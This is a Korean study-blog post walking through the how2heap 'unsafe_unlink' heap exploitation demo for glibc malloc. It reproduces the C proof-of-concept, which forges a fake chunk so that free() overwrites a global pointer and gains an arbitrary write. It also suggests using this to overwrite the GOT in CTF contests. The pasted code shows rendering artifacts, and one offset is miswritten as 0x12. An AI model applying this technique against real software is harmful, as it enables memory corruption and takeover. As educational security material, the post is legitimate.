hOwDayS 선린 10720

unsafe_unlink 본문

공부/how2heap

unsafe_unlink

hOwDayS 2018. 2. 25. 19:44
제가 이해할 수 있도록 쓴 글 입니다. 필력..부족..

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
 
 
uint64_t *chunk0_ptr;
 
int main()
{
    fprintf(stderr, "Welcome to unsafe unlink 2.0!\n");
    fprintf(stderr, "Tested in Ubuntu 14.04/16.04 64bit.\n");
    fprintf(stderr, "This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
    fprintf(stderr, "The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");
 
    int malloc_size = 0x80//we want to be big enough not to use fastbins
    int header_size = 2;
 
    fprintf(stderr, "The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");
 
    chunk0_ptr = (uint64_t*malloc(malloc_size); //chunk0
    uint64_t *chunk1_ptr  = (uint64_t*malloc(malloc_size); //chunk1
    fprintf(stderr, "The global chunk0_ptr is at %p, pointing to %p\n"&chunk0_ptr, chunk0_ptr);
    fprintf(stderr, "The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);
 
    fprintf(stderr, "We create a fake chunk inside chunk0.\n");
    fprintf(stderr, "We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
    chunk0_ptr[2= (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
    fprintf(stderr, "We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
    fprintf(stderr, "With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
    chunk0_ptr[3= (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
    fprintf(stderr, "Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
    fprintf(stderr, "Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);
 
    fprintf(stderr, "We need to make sure the 'size' of our fake chunk matches the 'previous_size' of the next chunk (chunk+size)\n");
    fprintf(stderr, "With this setup we can pass this check: (chunksize(P) != prev_size (next_chunk(P)) == False\n");
    fprintf(stderr, "P = chunk0_ptr, next_chunk(P) == (mchunkptr) (((char *) (p)) + chunksize (p)) == chunk0_ptr + (chunk0_ptr[1]&(~ 0x7))\n");
    fprintf(stderr, "If x = chunk0_ptr[1] & (~ 0x7), that is x = *(chunk0_ptr + x).\n");
    fprintf(stderr, "We just need to set the *(chunk0_ptr + x) = x, so we can pass the check\n");
    fprintf(stderr, "1.Now the x = chunk0_ptr[1]&(~0x7) = 0, we should set the *(chunk0_ptr + 0) = 0, in other words we should do nothing\n");
    fprintf(stderr, "2.Further more we set chunk0_ptr = 0x8 in 64-bits environment, then *(chunk0_ptr + 0x8) == chunk0_ptr[1], it's fine to pass\n");
    fprintf(stderr, "3.Finally we can also set chunk0_ptr[1] = x in 64-bits env, and set *(chunk0_ptr+x)=x,for example chunk_ptr0[1] = 0x20, chunk_ptr0[4] = 0x20\n");
    chunk0_ptr[1= sizeof(size_t);
    fprintf(stderr, "In this case we set the 'size' of our fake chunk so that chunk0_ptr + size (%p) == chunk0_ptr->size (%p)\n", ((char *)chunk0_ptr + chunk0_ptr[1]), &chunk0_ptr[1]);
    fprintf(stderr, "You can find the commitdiff of this check at https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30\n\n");
 
    fprintf(stderr, "We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
    uint64_t *chunk1_hdr = chunk1_ptr - header_size;
    fprintf(stderr, "We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
    fprintf(stderr, "It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
    chunk1_hdr[0= malloc_size;
    fprintf(stderr, "If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
    fprintf(stderr, "We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
    chunk1_hdr[1&= ~1;
 
    fprintf(stderr, "Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
    fprintf(stderr, "You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n");
    free(chunk1_ptr);
 
    fprintf(stderr, "At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
    char victim_string[8];
    strcpy(victim_string,"Hello!~");
    chunk0_ptr[3= (uint64_t) victim_string;
 
    fprintf(stderr, "chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
    fprintf(stderr, "Original value: %s\n",victim_string);
    chunk0_ptr[0= 0x4141414142424242LL;
    fprintf(stderr, "New Value: %s\n",victim_string);
}
 
 
cs



RESULT : 


The global chunk0_ptr is at 0x602070, pointing to 0x603010

The victim chunk(chunk1) we are going to corrupt is at 0x6030a0




uint64_t *chunk0_ptr;


chunk0_ptr를 전역변수로 설정한다.(bss)



//22줄까지 실행 한 후 heap상황




이 글의 목표는 0x602070의 값인 0x603010 을 바꾸는 것이다.





1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/* 32BIT */ 
 
FD = P->fd; -> FD = *P + 8; 
BK = P->bk; -> BK = *P + 12;
FD->bk = BK; -> BK == FD + 12;
BK->fd = FD; -> FD == BK + 8; 
 
/* 64BIT */ 
 
FD = P->fd; -> FD = *P + 16; 
BK = P->bk; -> BK = *P + 24;
FD->bk = BK; -> BK == FD + 24;
BK->fd = FD; -> FD == BK + 16;
 
출처: http://cdor1.tistory.com/44 [cdor1's lab]
cs




/* P = &현재청크 */

64비트 기준으로 설명한다


위를 참고하여

FD = chunk0_ptr + 16 = chunk0_ptr[2]

BK = chunk0_ptr + 24 = chunk0_ptr[3]


FD -> bk = FD + 0x18(24) = chunk0_ptr[2] + 0x18

BK -> fd = BK + 0x10(16) = chunk0_ptr[2] + 0x12


P = &chunk0_ptr // == 0x602070  


FD -> bk == P && Bk -> fd == P  

를 만족시켜야 된다



chunk0_ptr[2= (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3); //Fakechunk fd


chunk0_ptr[2] = 0x602070 - 0x18; -> FD



chunk0_ptr[3= (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2); //Fakechunk bk



chunk0_ptr[3] = 0x602070 - 0x10; -> BK


이렇게하면


FD -> bk = FD + 0x18 = (0x602070 - 0x18 ) + 0x18 = 0x602070

BK -> fd = BK + 0x12 = (0x602070 - 0x10 ) + 0x10 = 0x602070

이므로 만족



##우회 끝


uint64_t *chunk1_hdr = chunk1_ptr - header_size;

chunk1_hdr 의 처음 위치는 chunk1_ptr의 prev_size가 된다.

/* chunk1_ptr - header_size(2) 가 왜 prev_size인지 몰랐는데 디버깅 돌려보니

    header_size를 8*2 하여 64비트 방식으로 고쳐 주소 계산한다는 것을 알았다. */


chunk1_hdr[0= malloc_size;


chunk1의 prev_size는 0x80으로 맞춘다. prev_size와 P의 사이즈가 같아야 된다.


chunk1_hdr[1&= ~1;


prev_inuse의 비트를 0으로 해줘야 전 청크가 free가 되었다는 걸로 인식하게 할 수 있다. 


(할당된) 0x80 + (header_size) 0x10 + (prev_inuse) 1 = 0x91인데

chunk1_hdr[1&= ~1; 를 해주므로 0x90이 된다. 


즉 , 청크가 프리가 되었다는 것으로 인식하게 할 수 있다.  -> 합병을 할 수 있다.



 free(chunk1_ptr);


free(chunk1_ptr)를 하면 

prev_inuse를 체크하고 prev_inuse가 0일 경우 합병을 하는데

현재 prev_inuse가 0이니 chunk0_ptr하고 합병을 한다.


unlink 과정에서

FD + 0x18 = 0x602070의 값 = BK

BK + 0x12 = 0x602070의 값 = FD // FD == 0x602058 (0x602070 - 0x18) 위에서 설명 했다

최종적으로 0x602070에는 0x602058의 값이 들어간다.


/* free한후 */

chunk0_ptr은 0x602070(파란색)의 값인 0x602058(FD,빨간색)부터 사용하게 된다.


char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3= (uint64_t) victim_string;


chunk0_ptr + 0x18 == chunk0_ptr[3] == 0x602058 + 0x18 ==  0x602070

즉 &chunk0_ptr의 값을 수정하는 것이다.

chunk0_ptr[3= (uint64_t) victim_string;

를 실행하면 &chunk0_ptr에는 vicitim_string 주소가 들어갈 것이다.


/*위 3줄 코드를 실행한 후*/



&chunk0_ptr에는 vicitim_string의 주소가 들어간 것을 알 수 있다.

이제 chunk0_ptr[0]은 victim_string 주소를 사용하게 될 것이다.


마지막으로

chunk0_ptr[0= 0x4141414142424242LL;

실행하면,


victim_string이 BBBBAAAA값으로 덮어 진것을 볼 수 있다.



이걸 이용하여 대회에서 got을 덮으면 될 것이다.



참조 https://blog.naver.com/best0937/220927903776 , https://blog.naver.com/rlagkstn1426/221184290189



'공부 > how2heap' 카테고리의 다른 글

fastbin_dup_into_stack  (0) 2018.02.15
fastbin_dup  (0) 2018.02.15
Comments